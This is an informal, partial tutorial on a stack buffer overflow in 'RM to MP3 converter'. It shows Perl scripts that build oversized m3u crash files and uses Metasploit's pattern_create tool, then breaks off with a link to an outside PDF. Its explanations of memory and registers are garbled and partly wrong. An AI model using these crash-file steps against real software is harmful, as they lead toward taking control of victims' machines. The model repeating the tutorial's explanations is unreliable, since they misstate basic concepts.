Stacked based Buffer-Overflow

				Buffer Overflow
---------------------------------------------------

      By - @rajeshmjmdrhack

Buffer :- Temporary Memory

In this attack we gonna overflow the temporary memory of an application to exploit our shell and get the shell access.

               ____________________
              |                 ___|_______  Application
              |    __________      |
              |   |   Reg.   |     |
              |   |  Memory  |     |
              |   |  Space   |     |
EIP   ________|___|__________|     |  ____
              |   |__________|     |      |_ Temporary Memory. (Buffer)
ESP   ________|___|__________|     |  ____|
              |   |  Harddisk|     |
              |   |    Space |     |
              |   |__________|     |
              |____________________|

EIP - Extended Index Pointer.
ESP - Extended

Through this figure we can estimate that there is a registered memory for an application which it will use during functioning. And if somehow it get's full then there is something known as Temporary Memory. So now you can understand what actually we have to do in this attack.

 _______________________________
|                               |
|         Requirements          |
|_______________________________|

1. Windbg (Can be downloaded from Internet).
2. Kali linux.
3. Windows.
4. Victim app.(Here I am using RM to MP3 converter).
5. Parde for Perl IDE. (Can be downloaded from Internet).
 _______________________________
|                               |
|          Rough Idea           |
|_______________________________|

Step 1. We will first overflow its temp. memory as per the attack says.
Step 2. Then we will know where the EIP & ESP of the app. is. So that we could forward the error to our exploit's address.
Step 3. We will exploit our shell and get the shell access.

 _______________________________
|                               |
|           Steps               |
|_______________________________|

Step 1 - First of all download all the required apps. and i am gonna overflow RM to MP3 converter here.

Step 2 - Start up your windows engine.

Step 3 - First of all we have to find the vulnerability in this app. one by one and here we found that the vulnerability in this app is in during loading the 				 playlist files. (i.e. m3u files etc.)

Step 4 - So here we gonna create a perl file that will automaticaly creates a m3u file having our code.
    ____________________________________________________________________________________
   |                                                                                    |
   |     #!usr/bin/perl                                                                 |
   |     my $file = "crash.m3u"                                                         |
   |     my $junk = "A" x 10000;                                                        |
   |     open($FILE,">$file");                                                          |
   |     print $FILE "$junk";                                                           |
   |     close($FILE);                                                                  |
   |     print "m3u File Created successfully\n";                                       |
   |                                                                                    |
   |____________________________________________________________________________________|

Step 5 - Install Padre for Perl IDE and the save this file as crash.pl

Step 6 - Run this perl file. It will creates a crash.m3u file.

Step 7 - You will get an error saying that this file is unreadable AAAAAAAAA........]
         (It means that the application can read this file and guess that it's an error. So this means it is not overflowing now.)

Step 8 - So now we gonna change the no of A's in our crash.m3u file. To do that we gonna edit the .pl file in the 3rd line i.e. my $junk="A" x 10000 to my $junk="A" x 20000 . Or we will until
         buffer gets overflowing. Here in this app it starts overflowing in 30000.

Step 9 - But now the problem is we have to on which no. of A the application starts crashing. Because after we gonna write our malicious code.

Step 10 - Now we have two choices either we check every 30000 A's in the crash.m3u, which is I think impossible. So here kali linux comes in view.

Step 11 - Now start up your kali engine. It has some tools that will help us to find where our application is going to crash.

Step 12 - In kali linux there is something known as metasploit. So we gonna browse our terminal to the metasploit folder.

     ___________________________________________________________________
    |root@kali:~# cd /usr/share/metasploit-framework/tools              |
    |root@kali:/usr/share/metasploit-framework/tools# ls                |
    |committer_count.rb    memdump                   msf_irb_shell.rb   |
    |context               metasm_shell.rb           msftidy.rb         |
    |convert_31.rb         missing-payload-tests.rb  nasm_shell.rb      |
    |cpassword_decrypt.rb  module_author.rb          [pattern_create.rb]|
    |dev                   module_changelog.rb       [pattern_offset.rb]|
    |exe2vba.rb            module_commits.rb         payload_lengths.rb |
    |exe2vbs.rb            module_count.rb           pdf2xdp.rb         |
    |find_badchars.rb      module_disclodate.rb      profile.sh         |
    |halflm_second.rb      module_license.rb         psexec.rb          |
    |hmac_sha1_crack.rb    module_mixins.rb          reg.rb             |
    |import_webscarab.rb   module_payloads.rb        verify_datastore.rb|
    |java_deserializer.rb  module_ports.rb           virustotal.rb      |
    |list_interfaces.rb    module_rank.rb            vxdigger.rb        |
    |lm2ntcrack.rb         module_reference.rb       vxencrypt.rb       |
    |makeiplist.rb         module_targets.rb         vxmaster.rb        |
    |root@kali:/usr/share/metasploit-framework/tools#./pattern_create.rb|
    |5000                                                               |
    |___________________________________________________________________|

Here, you can see that i have highlighted two tools one is pattern_create.rb. Which we will use to create different types of pattern. And the other one is pattern_offset.rb which we will use where actually our application is crashing.

After executing our command i.e. ./pattern_create.rb 5000. It will create 5000 words of different patterns. So here we will edit our .pl file. Here I edited like this.

    ____________________________________________________________________________________
   |                                                                                    |
   |     #!usr/bin/perl                                                                 |
   |     my $file = "crash.m3u"                                                         |
   |     my $junk = "A" x 25000;                                                        |
   |     my $junk1 = "5000 random pattern created by kali"                              |
   |     open($FILE,">$file");                                                          |
   |     print $FILE "$junk"."$junk1";                                                  |
   |     close($FILE);                                                                  |
   |     print "m3u File Created successfully\n";                                       |
   |                                                                                    |
   |____________________________________________________________________________________|

Step 13 - Now we gonna again gonna load this .m3u in RM to MP3 converter. This time we will get an error offset of some number and this is the hex number of anyone of the alphabet in the random pattern.
Now again, there is a problem either we will search for the hex number for all the alphabets in our pattern and search for the correct pattern and get to know where actually our application is start crashing.
So here again we'll use our kali engine.

Here we will use our next tool i.e. pattern_offset.rb.

  So, And further is in this pdf file download it and read it.
   http://www15.zippyshare.com/v/gekd9Lnk/file.html